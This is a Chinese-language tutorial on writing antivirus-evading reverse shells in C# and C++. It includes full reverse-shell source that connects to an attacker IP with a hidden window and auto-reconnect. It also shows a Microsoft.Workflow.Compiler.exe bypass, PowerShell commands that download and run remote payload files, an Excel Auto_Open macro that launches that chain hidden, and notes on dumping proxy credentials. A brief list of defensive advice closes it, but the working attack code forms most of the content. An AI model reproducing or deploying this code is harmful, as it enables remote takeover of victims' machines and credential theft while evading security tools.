利用C++和C#绕过AV检测
字数 1416 2025-08-27 12:33:30
利用C++和C#绕过AV检测的技术教学文档
1. 简介
本文详细介绍了多种使用C++和C#编写反向shell并绕过杀毒软件(AV)检测的技术方法。这些技术在2018年时能够有效绕过主流杀毒软件的检测,包括Windows Defender。
2. C#简单反向Shell
2.1 基本实现
使用C#编写简单的反向shell程序,通过套接字连接并在受害者机器上启动cmd.exe:
// 示例代码结构(简化版)
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;
class ReverseShell
{
static void Main()
{
using(TcpClient client = new TcpClient("攻击者IP", 端口))
{
using(Stream stream = client.GetStream())
{
using(StreamReader reader = new StreamReader(stream))
{
using(StreamWriter writer = new StreamWriter(stream))
{
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.UseShellExecute = false;
cmd.Start();
writer.AutoFlush = true;
while(!reader.EndOfStream)
{
string input = reader.ReadLine();
cmd.StandardInput.WriteLine(input);
string output = cmd.StandardOutput.ReadToEnd();
writer.WriteLine(output);
}
}
}
}
}
}
}
2.2 编译方法
使用VSCode和C#插件编译:
dotnet build -r win-x64
2.3 特点
- 简单直接
- 无持久性
- 无隐藏性
- cmd窗口对用户可见
- 一端关闭连接即断开
2.4 检测结果
- Windows Defender未检测到威胁
- 当时主流AV均未标记为恶意
3. C++反向Shell(带持久性)
3.1 代码特点
基于@NinjaParanoid的代码实现,具有以下优点:
- 通过while循环实现5秒自动重连
- 隐藏cmd窗口
- 支持参数传递(可动态改变攻击者IP)
3.2 关键代码结构
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void ReverseShell(const char* C2Server, int C2Port) {
while(true) {
Sleep(5000);
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if(WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if(RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
sinfo.wShowWindow = SW_HIDE;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
}
}
int main(int argc, char** argv) {
if(argc == 3) {
ReverseShell(argv[1], atoi(argv[2]));
} else {
ReverseShell("默认攻击者IP", 默认端口);
}
return 0;
}
3.3 特点
- 后台进程自动重连
- 无可见窗口
- 支持参数化配置
- 当时主流AV未检测到威胁
4. 使用代理凭据反弹C# Shell
4.1 技术原理
- 从Credential Manager dump代理凭据(无需管理员权限)
- Base64编码凭据
- 将凭据插入代理授权连接
4.2 实现要点
- 需要目标公司代理IP/PORT
- 依赖Credential Manager中保存的凭据
- 失败率高(若无保存凭据则失败)
- 当时可绕过企业AV检测
5. 利用Microsoft.Workflow.Compiler.exe执行C#代码
5.1 技术背景
利用Microsoft.Workflow.Compiler.exe服务执行未签名代码的技术。
5.2 实现步骤
- 创建REV.txt文件(XOML结构):
<Workflow>
<Sequential>
<Code x:TypeArguments="x:String" Execute="<![CDATA[
// 此处为C#反向Shell代码
]]>" />
</Sequential>
</Workflow>
-
创建Rev.Shell文件(包含完整的C#反向Shell代码)
-
执行命令:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
5.3 PowerShell自动化实现
powershell -command "&{(New-Object Net.WebClient).DownloadFile('https://example.com/REV.txt','.\REV.txt')}" &&
powershell -command "&{(New-Object Net.WebClient).DownloadFile('https://example.com/Rev.Shell','.\Rev.Shell')}" &&
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
5.4 特点
- 利用合法微软工具执行恶意代码
- 创建临时DLL可能被检测
- 当时可绕过AV对PowerShell的监控
6. Excel宏结合PowerShell和C#
6.1 实现方式
在Excel宏中嵌入上述PowerShell命令:
Sub Auto_Open()
Dim str As String
str = "powershell -command ""&{(New-Object Net.WebClient).DownloadFile('https://example.com/REV.txt','.\REV.txt')}"" && " & _
"powershell -command ""&{(New-Object Net.WebClient).DownloadFile('https://example.com/Rev.Shell','.\Rev.Shell')}"" && " & _
"C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell"
Shell str, vbHide
End Sub
6.2 检测结果
- 当时AV仅检测到宏启动PowerShell的行为
- 未检测实际恶意负载
- 通过混淆可进一步提高绕过率
7. 技术总结与防御建议
7.1 技术趋势
- 越来越多的攻击转向使用C#或C#与PowerShell组合
- 利用合法系统工具(如Microsoft.Workflow.Compiler.exe)执行恶意代码
- 结合多种技术提高绕过率
7.2 防御建议
- 应用程序白名单:限制非授权程序执行
- 监控异常进程行为:如cmd.exe异常网络连接
- 限制PowerShell使用:仅允许签名脚本执行
- 系统工具监控:关注Microsoft.Workflow.Compiler.exe等工具的异常使用
- 凭证管理:避免在Credential Manager中存储敏感凭据
- 网络流量分析:检测异常外连行为
- 多层次防御:结合行为检测和签名检测
7.3 攻击演进
这些技术展示了攻击者如何:
- 从简单的脚本转向编译型语言
- 利用系统信任的合法工具
- 结合多种技术提高隐蔽性
- 针对企业特定环境(如代理)定制攻击
通过理解这些技术原理,防御者可以更好地构建防御体系,检测和预防类似攻击。